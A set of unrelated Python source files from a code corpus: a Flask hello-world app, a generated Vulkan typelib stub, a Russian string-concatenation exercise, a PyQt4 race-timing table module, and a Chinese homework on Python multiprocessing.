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# 从flask框架中导入Flask这个类 from flask import Flask #初始化一个flask对象 #需要传递一个参数__name__ # 1.方便flask框架去寻找资源 # 2.方便flask插件比如flask-Sqlalchemy出现错误的时候,好去寻找问题所在的位置 app = Flask(__name__) @app.route('/') def hello_world(): return 'hello world' #如果当前这个文件是作为入口程序运行,那么就执行app.run() if __name__ == '__main__': #启动一个应用服务器,来接受用户的请求 app.run(host='0.0.0.0')
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# encoding: utf-8 # module gi.repository.Vulkan # from /usr/lib64/girepository-1.0/Vulkan-1.0.typelib # by generator 1.147 """ An object which wraps an introspection typelib. This wrapping creates a python module like representation of the typelib using gi repository as a foundation. Accessing attributes of the module will dynamically pull them in and create wrappers for the members. These members are then cached on this introspection module. """ # imports import gi as __gi class DescriptorSetLayoutBinding(__gi.Struct): # no doc def __delattr__(self, *args, **kwargs): # real signature unknown """ Implement delattr(self, name). """ pass def __dir__(self, *args, **kwargs): # real signature unknown """ Default dir() implementation. """ pass def __eq__(self, *args, **kwargs): # real signature unknown """ Return self==value. """ pass def __format__(self, *args, **kwargs): # real signature unknown """ Default object formatter. """ pass def __getattribute__(self, *args, **kwargs): # real signature unknown """ Return getattr(self, name). """ pass def __ge__(self, *args, **kwargs): # real signature unknown """ Return self>=value. """ pass def __gt__(self, *args, **kwargs): # real signature unknown """ Return self>value. """ pass def __hash__(self, *args, **kwargs): # real signature unknown """ Return hash(self). """ pass def __init_subclass__(self, *args, **kwargs): # real signature unknown """ This method is called when a class is subclassed. The default implementation does nothing. It may be overridden to extend subclasses. """ pass def __init__(self, *args, **kwargs): # real signature unknown pass def __le__(self, *args, **kwargs): # real signature unknown """ Return self<=value. """ pass def __lt__(self, *args, **kwargs): # real signature unknown """ Return self<value. """ pass @staticmethod # known case of __new__ def __new__(*args, **kwargs): # real signature unknown """ Create and return a new object. See help(type) for accurate signature. """ pass def __ne__(self, *args, **kwargs): # real signature unknown """ Return self!=value. """ pass def __reduce_ex__(self, *args, **kwargs): # real signature unknown """ Helper for pickle. """ pass def __reduce__(self, *args, **kwargs): # real signature unknown """ Helper for pickle. """ pass def __repr__(self, *args, **kwargs): # real signature unknown """ Return repr(self). """ pass def __setattr__(self, *args, **kwargs): # real signature unknown """ Implement setattr(self, name, value). """ pass def __sizeof__(self, *args, **kwargs): # real signature unknown """ Size of object in memory, in bytes. """ pass def __str__(self, *args, **kwargs): # real signature unknown """ Return str(self). """ pass def __subclasshook__(self, *args, **kwargs): # real signature unknown """ Abstract classes can override this to customize issubclass(). This is invoked early on by abc.ABCMeta.__subclasscheck__(). It should return True, False or NotImplemented. If it returns NotImplemented, the normal algorithm is used. Otherwise, it overrides the normal algorithm (and the outcome is cached). """ pass def __weakref__(self, *args, **kwargs): # real signature unknown pass __class__ = None # (!) real value is "<class 'gi.types.StructMeta'>" __dict__ = None # (!) real value is "mappingproxy({'__info__': StructInfo(DescriptorSetLayoutBinding), '__module__': 'gi.repository.Vulkan', '__gtype__': <GType void (4)>, '__dict__': <attribute '__dict__' of 'DescriptorSetLayoutBinding' objects>, '__weakref__': <attribute '__weakref__' of 'DescriptorSetLayoutBinding' objects>, '__doc__': None})" __gtype__ = None # (!) real value is '<GType void (4)>' __info__ = StructInfo(DescriptorSetLayoutBinding)
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''' Напишите программу, которая считывает две строки и выводит на экран конкатенацию этих строк Примечание: конкатенация - операция "сложения" двух строк Sample Input 1: Язык программирования Python Sample Output 1: Язык программированияPython Sample Input 2: 37 81 Sample Output 2: 3781 ''' s1, s2 = input(), input() print(s1 + s2)
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# -*- coding: utf-8 -*- ''' Created on 30.07.2015 @author: Meloun ''' import time, os import pandas as pd from PyQt4 import QtCore, QtGui from libs.myqt.DataframeTableModel import DataframeTableModel from libs.utils.ListOfDicts import ListOfDicts import libs.utils.utils as utils import libs.timeutils.timeutils as timeutils from ewitis.data.DEF_ENUM_STRINGS import COLORS, STATUS import ewitis.gui.TimesUtils as TimesUtils import libs.pandas.df_utils as df_utils from ewitis.data.DEF_DATA import * from ewitis.gui.dfTableUsers import tableUsers from ewitis.gui.dfTableCategories import tableCategories from ewitis.gui.dfTableCGroups import tableCGroups import ewitis.gui.dfTableTimesExport as ttExport import ewitis.gui.dfTableTimesAutonumbers as ttAutonumbers import ewitis.gui.dfTableTimesAutocell as ttAutocell from ewitis.data.db import db from ewitis.gui.dfTable import DfTable from ewitis.data.dstore import dstore from ewitis.gui.Ui import Ui from ewitis.gui.multiprocessingManager import mgr, eventCalcNow, eventCalcReady from ewitis.gui.UiAccesories import uiAccesories, MSGTYPE from ewitis.gui.tabExportSettings import tabExportSettings import ewitis.exports.ewitis_html as ew_html CONF_TABLE_TIMES = [ {'name': 'id', 'length':0, 'default': True, "editable": False }, {'name': 'nr', 'length':0, 'default': True, "editable": True }, {'name': 'cell', 'length':0, 'default': True, "editable": True }, {'name': 'status', 'length':0, 'default': True, "editable": True }, {'name': 'time1', 'length':0, 'default': True, "editable": False }, {'name': 'lap1', 'length':0, 'default': True, "editable": False }, {'name': 'time2', 'length':0, 'default': True, "editable": False }, {'name': 'lap2', 'length':0, 'default': True, "editable": False }, {'name': 'time3', 'length':0, 'default': True, "editable": False }, {'name': 'lap3', 'length':0, 'default': True, "editable": False }, {'name': 'time4', 'length':0, 'default': True, "editable": False }, {'name': 'lap4', 'length':0, 'default': True, "editable": False }, {'name': 'name', 'length':0, 'default': True, "editable": False }, {'name': 'category', 'length':0, 'default': True, "editable": False }, {'name': 'order1', 'length':0, 'default': True, "editable": False }, {'name': 'order2', 'length':0, 'default': True, "editable": False }, {'name': 'order3', 'length':0, 'default': True, "editable": False }, {'name': 'start', 'length':0, 'default': True, "editable": False }, {'name': 'points1', 'length':0, 'default': True, "editable": False }, {'name': 'points2', 'length':0, 'default': True, "editable": False }, {'name': 'points3', 'length':0, 'default': True, "editable": False }, {'name': 'points4', 'length':0, 'default': True, "editable": False }, {'name': 'points5', 'length':0, 'default': True, "editable": False }, {'name': 'un1', 'length':0, 'default': True, "editable": True }, {'name': 'un2', 'length':0, 'default': True, "editable": True }, {'name': 'un3', 'length':0, 'default': True, "editable": True }, {'name': 'us1', 'length':0, 'default': True, "editable": True }, {'name': 'timeraw', 'length':0, 'default': True, "editable": True }, ] ''' Model ''' class DfModelTimes(DataframeTableModel): def __init__(self, table): super(DfModelTimes, self).__init__(table) self.df = pd.DataFrame() self.conf = ListOfDicts(CONF_TABLE_TIMES) self.db_con = db.getDb() self.changed_rows = pd.DataFrame() self.mynr = 0 def flags(self, index): column_name = self.df.columns[index.column()] editable_columns = self.conf.Get("name", ("editable", True)) if(column_name in editable_columns): return QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable | QtCore.Qt.ItemIsEditable return QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable def data(self, index, role=QtCore.Qt.DisplayRole): if (role == QtCore.Qt.BackgroundRole): if dstore.Get("times")["highlight_enable"]: try: row = self.df.iloc[index.row()] #no number and no user string if row['nr']== 0 and row['us1'] == '': return QtGui.QColor(COLORS.peachorange) #changed rawtime -> yellow elif row['state'][0]== 'C': return QtGui.QColor(COLORS.yellow) #time on request -> lila elif row['state'][1] == 'R': return QtGui.QColor(COLORS.lila) #manual time -> green elif row['state'][2]== 'M': return QtGui.QColor(COLORS.light_green) except: pass return return DataframeTableModel.data(self, index, role) def IsColumnAutoEditable(self, column): '''pokud true, po uživatelské editaci focus na další řádek''' #number and cell if(column == 1) or (column == 2): return True return False def getDefaultRow(self): row = DataframeTableModel.getDefaultRow(self) row["cell"] = 250 return row def sModelChanged(self, index1, index2): DataframeTableModel.sModelChanged(self, index1, index2) def GetDataframe(self): df = mgr.GetDfs()["table"] if eventCalcReady.is_set() == False: for index, row in self.changed_rows.iterrows(): if index in df.index: df.loc[index] = row else: self.changed_rows = pd.DataFrame() #ToDo: remove #mynr = len(df.index) #print "mynr:", mynr #if(mynr > self.mynr): # print "TT: new record", time.clock() #self.mynr = mynr return df def setDataFromDict(self, mydict): print "setDataFromDict()", mydict, self.name #dict => df dfChange = pd.DataFrame([mydict]) dfChange.set_index(dfChange.id, inplace=True) #take row before change (from global df) dfChangedRow = self.df.loc[dfChange.id] #take user before change old_user = tableUsers.model.getUserParNr(int(dfChangedRow['nr'])) #update row before change with change dfChangedRow.update(dfChange) #category changed if "nr" in mydict: user_id = self.checkChangedNumber(dfChangedRow.iloc[0]) if user_id == None: #dialog inside checkChangedNumber() return False #adjust dict for writing to db mydict["user_id"] = user_id if mydict["nr"] < 0: mydict["us1"] = "Civil #"+str(abs(mydict["nr"])) del mydict["nr"] elif "cell" in mydict: pass # TIMERAW column elif "timeraw" in mydict: try: dbTimeraw = TimesUtils.TimesUtils.timestring2time(mydict['timeraw']) except TimesUtils.TimeFormat_Error: uiAccesories.showMessage(self.name+" Update error", "Wrong Time format!") return False #adjust dict for writing to db mydict["time_raw"] = dbTimeraw del mydict["timeraw"] #change the state (C -> manually Changed) state = str(dfChangedRow.iloc[0]['state']) mydict["state"] = "C" + state[1:] elif "un1" in mydict: pass elif "un2" in mydict: pass elif "un3" in mydict: pass elif "us1" in mydict: pass else: uiAccesories.showMessage(self.name+" Update error", "Unexpecting change!") return False # add changed row to "changed_rows" # keep as dataframe otherwise float issues for "nr" and "cell" cleared = self.ClearCalculated(dfChangedRow.iloc[0].copy()) self.changed_rows = self.changed_rows.append(cleared) try: self.changed_rows["nr"] = int(self.changed_rows["nr"]) self.changed_rows["cell"] = int(self.changed_rows["cell"]) except: pass eventCalcReady.clear() #s #update db from mydict db.update_from_dict(self.name, mydict) #user changed => reset all times for new user if mydict and ("user_id" in mydict): #print "mazu vsechny1", mydict["user_id"] self.ResetCalculatedValuesForUser(mydict["user_id"]) #reset 1 time elif mydict and ("id" in mydict): #print "mazu neco", mydict["id"] self.ResetCalculatedValues(mydict["id"]) if old_user and ("id" in old_user): print "mazu vsechny2", old_user["id"] self.ResetCalculatedValuesForUser(old_user["id"]) #self.ResetNrOfLaps() eventCalcNow.set() return True def ClearCalculated(self, tabRow): for i in range(0, NUMBER_OF.TIMESCOLUMNS): tabRow["time"+str(i+1)] = None tabRow["lap"+str(i+1)] = None for i in range(0, NUMBER_OF.THREECOLUMNS): tabRow["order"+str(i+1)] = None for i in range(0, NUMBER_OF.POINTSCOLUMNS): tabRow["points"+str(i+1)] = None tabRow["status"] = "wait" #precalculate name and category user = tableUsers.model.getUserParNr(tabRow["nr"]) if user: if(user['name']): tabRow['name'] = user['name'].upper() user['name'] = user['name'] +' '+user['first_name'] tabRow['category'] = user['category'] return tabRow def checkChangedNumber(self, tabRow): '''ZMĚNA ČÍSLA''' '''- kontrola uživatele, categorie, tagu - vrací user_id!! ''' #print "checkChangedNumber", tabRow if(tabRow["nr"] == 0): user_id = 0 else: #rigthts to change start cell? if(tabRow['cell'] == 1) and (dstore.GetItem("racesettings-app" ,["evaluation", "starttime"]) == StarttimeEvaluation.VIA_CATEGORY): uiAccesories.showMessage(self.name+" Update error", "Cannot assign user to start time!") return None #user exist? user = tableUsers.model.getUserParNr(int(tabRow['nr'])) if user == None: uiAccesories.showMessage(self.name+" Update error", "User nr. "+ str(tabRow['nr'])+" not found !") QtCore.QTimer.singleShot(100, lambda: self.table.Edit()) return None #category exist? category = tableCategories.model.getCategoryParName(user['category']) if category.empty: uiAccesories.showMessage(self.name+" Update error", "Category not found " + str(user['category'])) return None #user id exist? user_id = tableUsers.model.getIdOrTagIdParNr(user['nr']) if user_id == None: uiAccesories.showMessage(self.name+": Update error", "No user or tag with number "+str(tabRow['nr'])+"!") return None return user_id def ResetCalculatedValues(self, timeid): query = \ " UPDATE times" +\ " SET time1 = Null, lap1 = Null, time2 = Null, lap2 = Null, time3 = Null, lap3 = Null, time4 = Null, lap4 = Null" +\ " WHERE (times.id = \""+str(timeid)+"\")" res = db.query(query) db.commit() return res def ResetCalculatedValuesForUser(self, user_id): query = \ " UPDATE times" +\ " SET time1 = Null, lap1 = Null, time2 = Null, lap2 = Null, time3 = Null, lap3 = Null, time4 = Null, lap4 = Null" +\ " WHERE (times.user_id = \""+str(user_id)+"\")" res = db.query(query) db.commit() return res def ResetNrOfLaps(self): query = \ " UPDATE times" +\ " SET lap1 = Null, lap2 = Null, lap3 = Null, lap4 = Null" res = db.query(query) db.commit() return res ''' Proxy Model ''' class DfProxymodelTimes(QtGui.QSortFilterProxyModel): def __init__(self, parent = None): QtGui.QSortFilterProxyModel.__init__(self, parent) self.myclass = None #This property holds whether the proxy model is dynamically sorted and filtered whenever the contents of the source model change. self.setDynamicSortFilter(True) #This property holds the column where the key used to filter the contents of the source model is read from. #The default value is 0. If the value is -1, the keys will be read from all columns. self.setFilterKeyColumn(-1) ''' Table ''' class DfTableTimes(DfTable): def __init__(self): self.init = False DfTable.__init__(self, "Times") def InitGui(self): DfTable.InitGui(self) self.gui['civils_to_zeroes'] = Ui().TimesCivilsToZeroes self.gui['recalculate'] = Ui().TimesRecalculate self.gui['aWwwExportDirect'] = Ui().aWwwExportDirect self.gui['aWwwExportLogo'] = Ui().aWwwExportLogo self.gui['aExportResults'] = Ui().aExportResults self.gui['aExportResultsDNF'] = Ui().aExportResultsDNF self.gui['aExportDbResults'] = Ui().aExportDbResults self.gui['aExportDbResultsDNF'] = Ui().aExportDbResultsDNF self.gui['aExportAllTimes'] = Ui().aExportAllTimes self.gui['aExportLaptimes'] = Ui().aExportLaptimes try: self.gui['times_db_export'] = Ui().TimesDbExport self.gui['times_db_import'] = Ui().TimesDbImport except AttributeError: pass self.gui['filter_column'] = Ui().TimesFilterColumn self.gui['filter_starts'] = Ui().TimesFilterStarts self.gui['filter_finishes'] = Ui().TimesFilterFinishes self.gui['auto_refresh'] = Ui().TimesAutoRefresh ttAutonumbers.InitGui() ttAutocell.InitGui() self.gui['auto_refresh_clear'] = Ui().TimesAutoRefreshClear self.gui['auto_www_refresh'] = Ui().TimesAutoWWWRefresh self.gui['auto_www_refresh_clear'] = Ui().TimesAutoWWWRefreshClear self.gui['highlight_enable'] = Ui().TimesHighlightEnable self.gui['auto_timer_set'] = Ui().TimerSet self.gui['auto_timer_get'] = Ui().TimerGet self.gui['auto_timer_icon'] = Ui().TimerIcon self.auto_timer_cnt = 0 self.auto_timer_green_cnt = 5 self.timericon_grey = QtGui.QIcon("gui/icons/Circle_Grey_34212.png") self.timericon_green = QtGui.QIcon("gui/icons/Circle_Green_34211.png") self.timericon_yellow = QtGui.QIcon("gui/icons/Circle_Yellow_34215.png") self.timericon_orange = QtGui.QIcon("gui/icons/Circle_Orange_34213.png") self.timericon_red = QtGui.QIcon("gui/icons/Circle_Red_34214.png") def Init(self): DfTable.Init(self) #set sort rules self.gui['view'].sortByColumn(28, QtCore.Qt.DescendingOrder) self.UpdateGui() self.dfActiveNrs = pd.DataFrame() self.init = True def sDeletePreCallback(self, id): dfRow = self.model.df.loc[id] #take row (from global df) user = tableUsers.model.getUserParNr(int(dfRow['nr'])) #take user #reset values for all times of this user if user != None: self.model.ResetCalculatedValuesForUser(user["id"]) return True def createSlots(self): #standart slots DfTable.createSlots(self) #filter starts/finishes QtCore.QObject.connect(self.gui['filter_starts'], QtCore.SIGNAL("clicked()"), self.sFilterStarts) QtCore.QObject.connect(self.gui['filter_finishes'], QtCore.SIGNAL("clicked()"), self.sFilterFinishes) #autonumbers ttAutonumbers.createSlots() #autocell ttAutocell.createSlots() # QtCore.QObject.connect(self.gui['auto_refresh'], QtCore.SIGNAL("valueChanged(int)"), lambda state: (uiAccesories.sGuiSetItem("times", ["auto_refresh"], state, self.UpdateGui), setattr(self, "auto_refresh_cnt", state))) QtCore.QObject.connect(self.gui['auto_www_refresh'], QtCore.SIGNAL("valueChanged(int)"), lambda state: (uiAccesories.sGuiSetItem("times", ["auto_www_refresh"], state, self.UpdateGui), setattr(self, "auto_www_refresh_cnt", state))) QtCore.QObject.connect(self.gui['auto_refresh_clear'], QtCore.SIGNAL("clicked()"), lambda: uiAccesories.sGuiSetItem("times", ["auto_refresh"], 0, self.UpdateGui)) QtCore.QObject.connect(self.gui['auto_www_refresh_clear'], QtCore.SIGNAL("clicked()"), lambda: uiAccesories.sGuiSetItem("times", ["auto_www_refresh"], 0, self.UpdateGui)) QtCore.QObject.connect(self.gui['highlight_enable'], QtCore.SIGNAL("stateChanged(int)"), lambda state: uiAccesories.sGuiSetItem("times", ["highlight_enable"], state, self.UpdateGui)) QtCore.QObject.connect(self.gui['auto_timer_set'], QtCore.SIGNAL("valueChanged(int)"), lambda state: (uiAccesories.sGuiSetItem("times", ["auto_timer"], state, self.UpdateGui), setattr(self, "auto_timer_cnt", state))) #button Recalculate QtCore.QObject.connect(self.gui['civils_to_zeroes'], QtCore.SIGNAL("clicked()"), lambda:self.sCivilsToZeroes()) QtCore.QObject.connect(self.gui['recalculate'], QtCore.SIGNAL("clicked()"), lambda:self.sRecalculate()) #exports QtCore.QObject.connect(self.gui['aWwwExportDirect'], QtCore.SIGNAL("triggered()"), lambda: self.sExportDirect(ttExport.eHTM_EXPORT)) QtCore.QObject.connect(self.gui['aWwwExportLogo'], QtCore.SIGNAL("triggered()"), lambda: self.sExportDirect(ttExport.eHTM_EXPORT_LOGO)) QtCore.QObject.connect(self.gui['aExportResults'], QtCore.SIGNAL("triggered()"), lambda: self.sExportDirect(ttExport.eCSV_EXPORT)) QtCore.QObject.connect(self.gui['aExportResultsDNF'], QtCore.SIGNAL("triggered()"), lambda: self.sExportDirect(ttExport.eCSV_EXPORT_DNS)) QtCore.QObject.connect(self.gui['aExportDbResults'], QtCore.SIGNAL("triggered()"), lambda: self.sExportDirect(ttExport.eCSV_EXPORT_DB)) QtCore.QObject.connect(self.gui['aExportDbResultsDNF'], QtCore.SIGNAL("triggered()"), lambda: self.sExportDirect(ttExport.eCSV_EXPORT_DNS_DB)) def sSlot(self, state = False): print "sSlot", state def EditingFinished(self, x): print "self.EditingFinished", x def sCivilsToZeroes(self): if (uiAccesories.showMessage("Civils to zeroes", "Are you sure you want to set civils numbers to zeroes?", MSGTYPE.warning_dialog) != True): return print "A: Times: Civils to zeroes.. " query = \ " UPDATE times" +\ " SET user_id=0, time1 = Null, lap1 = Null, time2 = Null, lap2 = Null, time3 = Null, lap3 = Null, time4 = Null, lap4 = Null" +\ " WHERE (times.user_id > 100000)" res = db.query(query) db.commit() eventCalcNow.set() print "A: Times: Civils to zeroes.. press F5 to finish" return res def sRecalculate(self): if (uiAccesories.showMessage("Recalculate", "Are you sure you want to recalculate times and laptimes?", MSGTYPE.warning_dialog) != True): return query = \ " UPDATE times" +\ " SET time1 = Null, lap1 = Null, time2 = Null, lap2 = Null, time3 = Null, lap3 = Null, time4 = Null, lap4 = Null" res = db.query(query) #self.ResetStatus() db.commit() eventCalcNow.set() print "A: Times: Recalculating.. press F5 to finish" return res def sFilterStarts(self): self.gui['filter_column'].setValue(2) self.gui['filter'].setText("1") def sFilterFinishes(self): self.gui['filter_column'].setValue(2) self.gui['filter'].setText("250") ''' F11, F12 - final results - prepare DFs for export (according to filter, sort, etc.) - call ExportToXXXFiles with these 3 DFs ''' def sExportDirect(self, export_type = ttExport.eCSV_EXPORT): #ret = uiAccesories.showMessage("Results Export", "Choose format of results", MSGTYPE.question_dialog, "NOT finally results", "Finally results") #if ret == False: #cancel button # return # 3DFs for 3 exports exportDf = [pd.DataFrame()] * NUMBER_OF.EXPORTS exported = {} ttDf = self.model.GetDataframe() #self.model.df utDf = pd.DataFrame() #merge table users and times if len(ttDf) != 0: cols_to_use = tableUsers.model.df.columns.difference(self.model.df.columns) cols_to_use = list(cols_to_use) + ["nr"] utDf = pd.merge(ttDf, tableUsers.model.df[cols_to_use], how = "left", on="nr") #call export function if (len(ttDf) != 0) or (export_type == ttExport.eHTM_EXPORT_LOGO): try: exported = ttExport.Export(utDf, export_type) except IOError: uiAccesories.showMessage("Export", time.strftime("%H:%M:%S", time.localtime())+" :: NOT succesfully, cannot write into the file.", MSGTYPE.statusbar) return #dialog message exported_string = "" for key in sorted(exported.keys()): exported_string += key + " : " + str(exported[key])+" times\n" if export_type == ttExport.eHTM_EXPORT or export_type == ttExport.eHTM_EXPORT_LOGO: uiAccesories.showMessage("WWW Export", time.strftime("%H:%M:%S", time.localtime())+" :: exported "+exported_string, MSGTYPE.statusbar) else: uiAccesories.showMessage("Table Times Exported", exported_string, MSGTYPE.info) return ''' end of SLOTS ''' def AutoUpdate(self): ztime = time.clock() autorefresh = dstore.GetItem("times", ["auto_refresh"]) if(autorefresh == 0): pass elif(self.auto_refresh_cnt == 0): self.auto_refresh_cnt = autorefresh elif((self.auto_refresh_cnt-1) != 0): self.auto_refresh_cnt = self.auto_refresh_cnt - 1 else: #print "auto update", self.auto_refresh_cnt, autorefresh, "s" self.auto_refresh_cnt = autorefresh ret = self.Update() if(ret == True): localtime = time.strftime("%H:%M:%S", time.localtime()) updatetime = str(time.clock() - ztime)[0:5]+"s" calctime = str(mgr.GetInfo()["lastcalctime"])[0:5]+"s" uiAccesories.showMessage("Auto Refresh", localtime + " :: update: "+updatetime +" / calc: "+ str(calctime), MSGTYPE.statusbar) #uiAccesories.showMessage("Auto Refresh", time.strftime("%H:%M:%S", time.localtime())+" ("+str(time.clock() - ztime)[0:5]+"s)", MSGTYPE.statusbar) ztime = time.clock() else: print "AutoUpdate: KO" autorefresh = dstore.GetItem("times", ["auto_www_refresh"]) if(autorefresh == 0): pass elif(self.auto_www_refresh_cnt == 0): self.auto_www_refresh_cnt = autorefresh elif((self.auto_www_refresh_cnt-1) != 0): self.auto_www_refresh_cnt = self.auto_www_refresh_cnt - 1 else: #print "auto update", self.auto_refresh_cnt, autorefresh, "s" self.auto_www_refresh_cnt = autorefresh ret = self.sExportDirect(ttExport.eHTM_EXPORT) #decrement the timer if(self.auto_timer_cnt > 0): self.auto_timer_cnt = self.auto_timer_cnt - 1 self.auto_timer_green_cnt = 5 #update the get value self.gui['auto_timer_get'].setText(str(self.auto_timer_cnt)+" s") #update the icon autorefresh_set = dstore.GetItem("times", ["auto_timer"]) if(autorefresh_set == 0): self.gui['auto_timer_icon'].setIcon(self.timericon_grey) elif(self.auto_timer_cnt == 0): #after 5s the green is blinking if self.auto_timer_green_cnt == 0: self.gui['auto_timer_icon'].setIcon(self.timericon_grey) self.auto_timer_green_cnt = 1 else: self.gui['auto_timer_icon'].setIcon(self.timericon_green) self.auto_timer_green_cnt = self.auto_timer_green_cnt - 1 elif(self.auto_timer_cnt <= 5): self.gui['auto_timer_icon'].setIcon(self.timericon_yellow) elif((self.auto_timer_cnt-1) != 0): self.gui['auto_timer_icon'].setIcon(self.timericon_red) else: self.auto_timer_cnt = autorefresh_set #called periodically, timer 1,5s def Update_AutoNumbers(self, new_time): ret = False #auto timer if new_time["cell"] == 1: self.auto_timer_cnt = dstore.GetItem("times", ["auto_timer"]) #auto numbers ds_times = dstore.Get("times") if(ds_times["auto_number_enable"] and ds_times["auto_number_logic"]): updates = ttAutonumbers.Update(self.model.GetDataframe(), new_time) #print "00: Update_AutoNumbers: ", updates, time.clock() #self.model.Update() for update in updates: user = tableUsers.model.getUserParNr(int(update['nr'])) if user != None: #update user id in db if user["nr"] < 0: #for civils also write name to user string db.update_from_dict(self.model.name, {"id":update["id"], "user_id":user["id"], "us1":user["name"]}) else: db.update_from_dict(self.model.name, {"id":update["id"], "user_id":user["id"]}) print "I: auto number: update:", update['nr'], "id:", update["id"] ret = True #only one number at once if ret == True: eventCalcNow.set() return ret def Get_ActiveNumbers(self): ret_list = [] if 'nr' in self.dfActiveNrs: return self.dfActiveNrs["nr"].tolist() return ret_list def Update_ActiveNumbers(self): ttDf = self.model.GetDataframe() if 'nr' in ttDf.columns: ttDf = ttDf.groupby("nr", as_index = False).last() self.dfActiveNrs = ttDf[(ttDf.cell!=250) & (ttDf.status.str.match('race'))] def UpdateGui(self): DfTable.UpdateGui(self) times = dstore.Get("times") self.gui['highlight_enable'].setCheckState(times["highlight_enable"]) #autonumbers ttAutonumbers.UpdateGui() #autocell ttAutocell.UpdateGui() self.gui['auto_refresh'].setValue(times["auto_refresh"]) self.gui['auto_www_refresh'].setValue(times["auto_www_refresh"]) #stylesheets if(times["auto_refresh"] == 0): self.gui['auto_refresh'].setStyleSheet("") else: self.gui['auto_refresh'].setStyleSheet("background:"+COLORS.green) return def Update(self): # stop dynamic filtering if no children # because of filter issue and "has stopped working" error #self.proxy_model.setDynamicSortFilter(self.proxy_model.hasChildren()) #print "U1" ret = DfTable.Update(self) #print "U2" #update gui self.UpdateGui() #update active numbers self.Update_ActiveNumbers() # # po F5 edituje číslo u prvniho radku # myindex = self.proxy_model.index(0,1) # print myindex, type(myindex), myindex.column(), myindex.row() # if(myindex.isValid() == True): # self.gui['view'].edit(myindex) return ret #edit previous cell def AutoEdit_MOVEDTO_dfTABLE(self, myindex): myindex = self.proxy_model.mapFromSource(myindex) if myindex.row() > 0: myindex = self.proxy_model.index(myindex.row()-1, myindex.column()) if(myindex.isValid() == True): self.gui['view'].edit(myindex) #create list of columns to hide def CollumnsToHide(self): ai = dstore.Get("additional_info") columns = [] for k,v in ai.items(): #dict if ("checked" in v): if(v['checked'] == 0): columns.append(k) continue #list of dict c = 0 for item in v: c = c+1 if(item['checked'] == 0): columns.append(k+""+str(c)) return columns if __name__ == "__main__": import sys from PyQt4 import QtGui from Ui_App import Ui_MainWindow from ewitis.gui.Ui import appWindow from ewitis.gui.Ui import Ui from ewitis.gui.UiAccesories import uiAccesories print "START" app = QtGui.QApplication(sys.argv) appWindow.Init() uiAccesories.Init() model = DfModelTimes() proxymodel = DfProxymodelTimes() dfTableTimes = DfTableTimes() dfTableTimes.Init() dfTableTimes.Update() appWindow.show() sys.exit(app.exec_()) tableTimes = DfTableTimes()
6e8ee652e5e7b105b697cf9fdec23a5e025e1dee
4a9dada02c749e9e5277fe1e35357d7b2b28ad5c
/郝嘉良2018013383/操作系统实验/作业3.py
44b2f84b1cc0ec63e1941c65a01a64ac57e05c53
[]
no_license
wanghan79/2020_Option_System
631cc80f52829390a128a86677de527472470348
f37b870614edf7d85320da197d932df2f25a5720
refs/heads/master
2021-01-09T13:10:05.630685
2020-07-10T03:30:39
2020-07-10T03:30:39
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2020-07-04T16:13:11
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import multiprocessing import threading import logging import time # 1.多进程实例演示 def hello(i): print('hello, im', i) if __name__ == '__main__': for i in range(10): p = multiprocessing.Process(target=hello, args=(i,)) p.start() # 2.多进程自定义进程名称 logging.basicConfig( level=logging.DEBUG, format="(%(threadName)-10s) %(message)s", ) def worker(): name = multiprocessing.current_process().name logging.debug('%s 开始' % name) time.sleep(3) logging.debug('%s 结束' % name) def my_service(): name = multiprocessing.current_process().name logging.debug('%s 开始' % name) time.sleep(3) logging.debug('%s 结束' % name) if __name__ == '__main__': service = multiprocessing.Process( name='my_service', target=my_service, ) worker_1 = multiprocessing.Process( name='worker_1', target=worker, ) worker_2 = multiprocessing.Process( target=worker, ) service.start() worker_1.start() worker_2.start() # 3.守护进程无等待的方式 logging.basicConfig( level=logging.DEBUG, format='(%(threadName)-10s) %(message)s', ) def daemon(): p = multiprocessing.current_process() logging.debug('%s %s 开始' % (p.name, p.pid)) time.sleep(2) logging.debug('%s %s 结束' % (p.name, p.pid)) def no_daemon(): p = multiprocessing.current_process() logging.debug('%s %s 开始' % (p.name, p.pid)) logging.debug('%s %s 结束' % (p.name, p.pid)) if __name__ == '__main__': daemon_obj = multiprocessing.Process( target=daemon, name='daemon' ) daemon_obj.daemon = True no_daemon_obj = multiprocessing.Process( target=no_daemon, name='no_daemon' ) no_daemon_obj.daemon = False daemon_obj.start() time.sleep(1) no_daemon_obj.start() # 4.守护进程设置等待超时时间 logging.basicConfig( level=logging.DEBUG, format='(%(threadName)-10s) %(message)s', ) def daemon(): p = multiprocessing.current_process() logging.debug('%s %s 开始' % (p.name, p.pid)) time.sleep(2) logging.debug('%s %s 结束' % (p.name, p.pid)) def no_daemon(): p = multiprocessing.current_process() logging.debug('%s %s 开始' % (p.name, p.pid)) logging.debug('%s %s 结束' % (p.name, p.pid)) if __name__ == '__main__': daemon_obj = multiprocessing.Process( target=daemon, name='daemon' ) daemon_obj.daemon = True no_daemon_obj = multiprocessing.Process( target=no_daemon, name='no_daemon' ) no_daemon_obj.daemon = False daemon_obj.start() time.sleep(1) no_daemon_obj.start() daemon_obj.join(1) logging.debug('daemon_obj.is_alive():%s' % daemon_obj.is_alive()) no_daemon_obj.join() # 5.进程的终止,注意:terminate的时候,需要使用join()进程,保证进程成功终止 logging.basicConfig( level=logging.DEBUG, format='(%(threadName)-10s) %(message)s', ) def slow_worker(): print('开始工作') time.sleep(0.1) print('结束工作') if __name__ == '__main__': p = multiprocessing.Process( target=slow_worker ) logging.debug('开始之前的状态%s' % p.is_alive()) p.start() logging.debug('正在运行的状态%s' % p.is_alive()) p.terminate() logging.debug('调用终止进程的状态%s' % p.is_alive()) p.join() logging.debug('等待所有进程运行完成,状态%s' % p.is_alive()) # 6.进程退出状态码 def exit_error(): sys.exit(1) def exit_ok(): return def return_value(): return 1 def raises(): raise RuntimeError('运行时的错误') def terminated(): time.sleep(3) if __name__ == '__main__': jobs = [] funcs = [ exit_error, exit_ok, return_value, raises, terminated, ] for func in funcs: print('运行进程的函数名 %s' % func.__name__) j = multiprocessing.Process( target=func, name=func.__name__ ) jobs.append(j) j.start() jobs[-1].terminate() for j in jobs: j.join() print('{:>15}.exitcode={}'.format(j.name, j.exitcode))
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6e86e685d0469f131446c809c1478c8faf27a382
/jhmanager/repo/users.py
582b475baddd69a97050511ed92ca6afd4986e97
[]
no_license
CardinisCode/jobhuntmanager
551091e35ab30704c42191f3c35b2e91a5f7a704
23be1e10bdaaa9d203090fbbd9a44fe0472f8b18
refs/heads/master
2023-04-26T06:47:44.726364
